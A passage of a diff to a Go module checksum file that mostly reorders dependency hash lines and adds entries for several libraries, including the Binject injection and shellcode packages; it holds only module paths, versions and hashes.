h1:XAq62tBTJP/85lFD5oqOOe7YYgWxY9LvWq8plyDvDVg= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.5 h1:clHU5fm//kWS1C2HgtgWxfQbFbx4b6rx+5jzhgX9HrI= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.6/go.mod h1:x0nZssQ3qZSnIcePWLvcoFisRXJzcTVvYpAAdYX8+GI= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.19 h1:X1Tow7suZk9UCJHE1Iw9GMZJJl0dAnKXXP1NaSDHwmw= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.6 h1:XAq62tBTJP/85lFD5oqOOe7YYgWxY9LvWq8plyDvDVg= github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.19/go.mod h1:/rARO8psX+4sfjUQXp5LLifjUt8DuATZ31WptNJTyQA= -github.com/aws/aws-sdk-go-v2/service/ses v1.34.17 h1:XR7CtY988tck2Bhuy1JP4FsV8z0OAwjuh+gb7nAy8/M= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.19 h1:X1Tow7suZk9UCJHE1Iw9GMZJJl0dAnKXXP1NaSDHwmw= github.com/aws/aws-sdk-go-v2/service/ses v1.34.17/go.mod h1:2CspeTVldnJdRixX36SzTZuoIpjyKlfeXyB7/JB5KGk= -github.com/aws/aws-sdk-go-v2/service/signin v1.0.7 h1:Y2cAXlClHsXkkOvWZFXATr34b0hxxloeQu/pAZz2row= +github.com/aws/aws-sdk-go-v2/service/ses v1.34.17 h1:XR7CtY988tck2Bhuy1JP4FsV8z0OAwjuh+gb7nAy8/M= github.com/aws/aws-sdk-go-v2/service/signin v1.0.7/go.mod h1:idzZ7gmDeqeNrSPkdbtMp9qWMgcBwykA7P7Rzh5DXVU= -github.com/aws/aws-sdk-go-v2/service/sns v1.39.10 h1:wqErrLzV3iERQ7dbZbKQS0gOM6ngxZtmPwKyRGn+Krc= +github.com/aws/aws-sdk-go-v2/service/signin v1.0.7 h1:Y2cAXlClHsXkkOvWZFXATr34b0hxxloeQu/pAZz2row= github.com/aws/aws-sdk-go-v2/service/sns v1.39.10/go.mod h1:OiwBtRz6QlQyt69WLBMvSiyfgI7cOd6xSJ9ThTMjI5M= -github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1 h1:TFg6XiS7EsHN0/jpV3eVNczZi/sPIVP5jxIs+euIESQ= +github.com/aws/aws-sdk-go-v2/service/sns v1.39.10 h1:wqErrLzV3iERQ7dbZbKQS0gOM6ngxZtmPwKyRGn+Krc= github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1/go.mod h1:OIezd9K0sM/64DDP4kXx/i0NdgXu6R5KE6SCsIPJsjc= -github.com/aws/aws-sdk-go-v2/service/sso v1.30.12 h1:iSsvB9EtQ09YrsmIc44Heqlx5ByGErqhPK1ZQLppias= -github.com/aws/aws-sdk-go-v2/service/sso v1.30.12/go.mod h1:fEWYKTRGoZNl8tZ77i61/ccwOMJdGxwOhWCkp6TXAr0= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.16 h1:EnUdUqRP1CNzt2DkV67tJx6XDN4xlfBFm+bzeNOQVb0= +github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1 h1:TFg6XiS7EsHN0/jpV3eVNczZi/sPIVP5jxIs+euIESQ= github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.16/go.mod h1:Jic/xv0Rq/pFNCh3WwpH4BEqdbSAl+IyHro8LbibHD8= -github.com/aws/aws-sdk-go-v2/service/sts v1.41.8 h1:XQTQTF75vnug2TXS8m7CVJfC2nniYPZnO1D4Np761Oo= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.16 h1:EnUdUqRP1CNzt2DkV67tJx6XDN4xlfBFm+bzeNOQVb0= +github.com/aws/aws-sdk-go-v2/service/sso v1.30.12/go.mod h1:fEWYKTRGoZNl8tZ77i61/ccwOMJdGxwOhWCkp6TXAr0= +github.com/aws/aws-sdk-go-v2/service/sso v1.30.12 h1:iSsvB9EtQ09YrsmIc44Heqlx5ByGErqhPK1ZQLppias= github.com/aws/aws-sdk-go-v2/service/sts v1.41.8/go.mod h1:Xgx+PR1NUOjNmQY+tRMnouRp83JRM8pRMw/vCaVhPkI= -github.com/aws/smithy-go v1.24.2 h1:FzA3bu/nt/vDvmnkg+R8Xl46gmzEDam6mZ1hzmwXFng= +github.com/aws/aws-sdk-go-v2/service/sts v1.41.8 h1:XQTQTF75vnug2TXS8m7CVJfC2nniYPZnO1D4Np761Oo= +github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o= +github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA= github.com/aws/smithy-go v1.24.2/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= -github.com/aymanbagabas/go-udiff v0.4.1 h1:OEIrQ8maEeDBXQDoGCbbTTXYJMYRCRO1fnodZ12Gv5o= +github.com/aws/smithy-go v1.24.2 h1:FzA3bu/nt/vDvmnkg+R8Xl46gmzEDam6mZ1hzmwXFng= github.com/aymanbagabas/go-udiff v0.4.1/go.mod h1:0L9PGwj20lrtmEMeyw4WKJ/TMyDtvAoK9bf2u/mNo3w= -github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= +github.com/aymanbagabas/go-udiff v0.4.1 h1:OEIrQ8maEeDBXQDoGCbbTTXYJMYRCRO1fnodZ12Gv5o= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= -github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk= +github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= +github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk= github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= -github.com/blinkbean/dingtalk v1.1.3 h1:MbidFZYom7DTFHD/YIs+eaI7kRy52kmWE/sy0xjo6E4= +github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k= +github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg= +github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw= +github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM= +github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs= +github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc= +github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc= github.com/blinkbean/dingtalk v1.1.3/go.mod h1:9BaLuGSBqY3vT5hstValh48DbsKO7vaHaJnG9pXwbto= +github.com/blinkbean/dingtalk v1.1.3 h1:MbidFZYom7DTFHD/YIs+eaI7kRy52kmWE/sy0xjo6E4= github.com/bradfitz/gomemcache v0.0.0-20220106215444-fb4bf637b56d/go.mod h1:H0wQNHz2YrLsuXOZozoeDmnHXkNCRmMW0gwFWDfEZDA= -github.com/bradfitz/gomemcache v0.0.0-20250403215159-8d39553ac7cf h1:TqhNAT4zKbTdLa62d2HDBFdvgSbIGB3eJE8HqhgiL9I= github.com/bradfitz/gomemcache v0.0.0-20250403215159-8d39553ac7cf/go.mod h1:r5xuitiExdLAJ09PR7vBVENGvp4ZuTBeWTGtxuX3K+c= -github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= +github.com/bradfitz/gomemcache v0.0.0-20250403215159-8d39553ac7cf h1:TqhNAT4zKbTdLa62d2HDBFdvgSbIGB3eJE8HqhgiL9I= github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= -github.com/bwmarrin/discordgo v0.29.0 h1:FmWeXFaKUwrcL3Cx65c20bTRW+vOb6k8AnaP+EgjDno= +github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= +github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs= github.com/bwmarrin/discordgo v0.29.0/go.mod h1:NJZpH+1AfhIcyQsPeuBKsUtYrRnjkyu0kIVMCHkZtRY= -github.com/caarlos0/go-reddit/v3 v3.0.1 h1:w8ugvsrHhaE/m4ez0BO/sTBOBWI9WZTjG7VTecHnql4= +github.com/bwmarrin/discordgo v0.29.0 h1:FmWeXFaKUwrcL3Cx65c20bTRW+vOb6k8AnaP+EgjDno= github.com/caarlos0/go-reddit/v3 v3.0.1/go.mod h1:QlwgmG5SAqxMeQvg/A2dD1x9cIZCO56BMnMdjXLoisI= -github.com/carapace-sh/carapace v1.11.0 h1:dTUFXvIrUTLd9BGLsfDt4wCgEyPl8bJeZOFDmN7fIfo= -github.com/carapace-sh/carapace v1.11.0/go.mod h1:NVkuv1s8wyFvu7d98rdgYwqGKMB6GO1MEUZp5RcWri8= -github.com/carapace-sh/carapace-shlex v1.1.1 h1:ccmNeetAYZOk4IcV36youFDsXusT9uCNW2Njkw+QS+Q= +github.com/caarlos0/go-reddit/v3 v3.0.1 h1:w8ugvsrHhaE/m4ez0BO/sTBOBWI9WZTjG7VTecHnql4= github.com/carapace-sh/carapace-shlex v1.1.1/go.mod h1:lJ4ZsdxytE0wHJ8Ta9S7Qq0XpjgjU0mdfCqiI2FHx7M= -github.com/catppuccin/go v0.3.0 h1:d+0/YicIq+hSTo5oPuRi5kOpqkVA5tAsU6dNhvRu+aY= +github.com/carapace-sh/carapace-shlex v1.1.1 h1:ccmNeetAYZOk4IcV36youFDsXusT9uCNW2Njkw+QS+Q= +github.com/carapace-sh/carapace v1.11.0/go.mod h1:NVkuv1s8wyFvu7d98rdgYwqGKMB6GO1MEUZp5RcWri8= +github.com/carapace-sh/carapace v1.11.0 h1:dTUFXvIrUTLd9BGLsfDt4wCgEyPl8bJeZOFDmN7fIfo= github.com/catppuccin/go v0.3.0/go.mod h1:8IHJuMGaUUjQM82qBrGNBv7LFq6JI3NnQCF6MOlZjpc= -github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= +github.com/catppuccin/go v0.3.0 h1:d+0/YicIq+hSTo5oPuRi5kOpqkVA5tAsU6dNhvRu+aY= github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= +github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8= -github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ= +github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY= github.com/charmbracelet/harmonica v0.2.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao= -github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA= +github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ= github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98= -github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8= +github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA= github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ= -github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs= +github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8= github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk= -github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA= +github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs= github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86/go.mod h1:2P0UgXMEa6TsToMSuFqKFQR+fZTO9CNGUNokkPatT/0= -github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f h1:OKFNbG2sSmgpQW9EC3gYNG+QrcQ4+wWYjzfmJvWkkDo= +github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA= github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f/go.mod h1:nsExn0DGyX0lh9LwLHTn2Gg+hafdzfSXnC+QmEJTZFY= -github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f h1:pk6gmGpCE7F3FcjaOEKYriCvpmIN4+6OS/RD0vm4uIA= +github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f h1:OKFNbG2sSmgpQW9EC3gYNG+QrcQ4+wWYjzfmJvWkkDo= github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f/go.mod h1:IfZAMTHB6XkZSeXUqriemErjAWCCzT0LwjKFYCZyw0I= -github.com/charmbracelet/x/exp/ordered v0.1.0 h1:55/qLwjIh0gL0Vni+QAWk7T/qRVP6sBf+2agPBgnOFE= +github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f h1:pk6gmGpCE7F3FcjaOEKYriCvpmIN4+6OS/RD0vm4uIA= github.com/charmbracelet/x/exp/ordered v0.1.0/go.mod h1:5UHwmG+is5THxMyCJHNPCn2/ecI07aKNrW+LcResjJ8= -github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 h1:DTSZxdV9qQagD4iGcAt9RgaRBZtJl01bfKgdLzUzUPI= +github.com/charmbracelet/x/exp/ordered v0.1.0 h1:55/qLwjIh0gL0Vni+QAWk7T/qRVP6sBf+2agPBgnOFE= github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5/go.mod h1:vI5nDVMWi6veaYH+0Fmvpbe/+cv/iJfMntdh+N0+Tms= -github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4= +github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 h1:DTSZxdV9qQagD4iGcAt9RgaRBZtJl01bfKgdLzUzUPI= github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ= -github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk= -github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI= -github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY= +github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4= github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo= -github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM= +github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY= +github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI= +github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk= github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k= -github.com/charmbracelet/x/xpty v0.1.3 h1:eGSitii4suhzrISYH50ZfufV3v085BXQwIytcOdFSsw= +github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM= github.com/charmbracelet/x/xpty v0.1.3/go.mod h1:poPYpWuLDBFCKmKLDnhBp51ATa0ooD8FhypRwEFtH3Y= -github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI= +github.com/charmbracelet/x/xpty v0.1.3 h1:eGSitii4suhzrISYH50ZfufV3v085BXQwIytcOdFSsw= github.com/cheggaaa/pb/v3 v3.1.7/go.mod h1:/Ji89zfVPeC/u5j8ukD0MBPHt2bzTYp74lQ7KlgFWTQ= -github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d h1:ZtA1sedVbEW7EW80Iz2GR3Ye6PwbJAJXjv7D74xG6HU= +github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI= github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d/go.mod h1:NItd7aLkcfOA/dcMXvl8p1u+lQqioRMq/SqDp71Pb/k= -github.com/chromedp/chromedp v0.14.1 h1:0uAbnxewy/Q+Bg7oafVePE/6EXEho9hnaC38f+TTENg= +github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d h1:ZtA1sedVbEW7EW80Iz2GR3Ye6PwbJAJXjv7D74xG6HU= github.com/chromedp/chromedp v0.14.1/go.mod h1:rHzAv60xDE7VNy/MYtTUrYreSc0ujt2O1/C3bzctYBo= -github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM= +github.com/chromedp/chromedp v0.14.1 h1:0uAbnxewy/Q+Bg7oafVePE/6EXEho9hnaC38f+TTENg= github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8= +github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/cilium/ebpf v0.15.0 h1:7NxJhNiBT3NG8pZJ3c+yfrVdHY8ScgKD27sScgjLMMk= github.com/cilium/ebpf v0.15.0/go.mod h1:DHp1WyrLeiBh19Cf/tfiSMhqheEiK8fXFZ4No0P1Hso= +github.com/cilium/ebpf v0.15.0 h1:7NxJhNiBT3NG8pZJ3c+yfrVdHY8ScgKD27sScgjLMMk= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8= github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0= -github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= +github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8= github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM= +github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/xds/go v0.0.0-20260202195803-dba9d589def2 h1:aBangftG7EVZoUb69Os8IaYg++6uMOdKK83QtkkvJik= github.com/cncf/xds/go v0.0.0-20260202195803-dba9d589def2/go.mod h1:qwXFYgsP6T7XnJtbKlf1HP8AjxZZyzxMmc+Lq5GjlU4= -github.com/coder/websocket v1.8.14 h1:9L0p0iKiNOibykf283eHkKUHHrpG7f65OE3BhhO7v9g= +github.com/cncf/xds/go v0.0.0-20260202195803-dba9d589def2 h1:aBangftG7EVZoUb69Os8IaYg++6uMOdKK83QtkkvJik= github.com/coder/websocket v1.8.14/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg= -github.com/coreos/go-iptables v0.8.0 h1:MPc2P89IhuVpLI7ETL/2tx3XZ61VeICZjYqDEgNsPRc= +github.com/coder/websocket v1.8.14 h1:9L0p0iKiNOibykf283eHkKUHHrpG7f65OE3BhhO7v9g= github.com/coreos/go-iptables v0.8.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q= +github.com/coreos/go-iptables v0.8.0 h1:MPc2P89IhuVpLI7ETL/2tx3XZ61VeICZjYqDEgNsPRc= github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= -github.com/creachadair/msync v0.7.1 h1:SeZmuEBXQPe5GqV/C94ER7QIZPwtvFbeQiykzt/7uho= github.com/creachadair/msync v0.7.1/go.mod h1:8CcFlLsSujfHE5wWm19uUBLHIPDAUr6LXDwneVMO008= -github.com/creachadair/taskgroup v0.13.2 h1:3KyqakBuFsm3KkXi/9XIb0QcA8tEzLHLgaoidf0MdVc= +github.com/creachadair/msync v0.7.1 h1:SeZmuEBXQPe5GqV/C94ER7QIZPwtvFbeQiykzt/7uho= github.com/creachadair/taskgroup v0.13.2/go.mod h1:i3V1Zx7H8RjwljUEeUWYT30Lmb9poewSb2XI1yTwD0g= -github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= +github.com/creachadair/taskgroup v0.13.2 h1:3KyqakBuFsm3KkXi/9XIb0QcA8tEzLHLgaoidf0MdVc= github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= -github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb h1:7X9nrm+LNWdxzQOiCjy0G51rNUxbH35IDHCjAMvogyM= +github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb/go.mod h1:RfQ9wji3fjcSEsQ+uFCtIh3+BXgcZum8Kt3JxvzYzlk= +github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb h1:7X9nrm+LNWdxzQOiCjy0G51rNUxbH35IDHCjAMvogyM= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU= +github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0= github.com/deckarep/golang-set v1.7.1/go.mod h1:93vsz/8Wt4joVM7c2AVqh+YRMiUSc14yDtF28KmMOgQ= -github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE= github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY= -github.com/dghubble/oauth1 v0.7.3 h1:EkEM/zMDMp3zOsX2DC/ZQ2vnEX3ELK0/l9kb+vs4ptE= +github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE= github.com/dghubble/oauth1 v0.7.3/go.mod h1:oxTe+az9NSMIucDPDCCtzJGsPhciJV33xocHfcR2sVY= -github.com/dghubble/sling v1.4.2 h1:vs1HIGBbSl2SEALyU+irpYFLZMfc49Fp+jYryFebQjM= 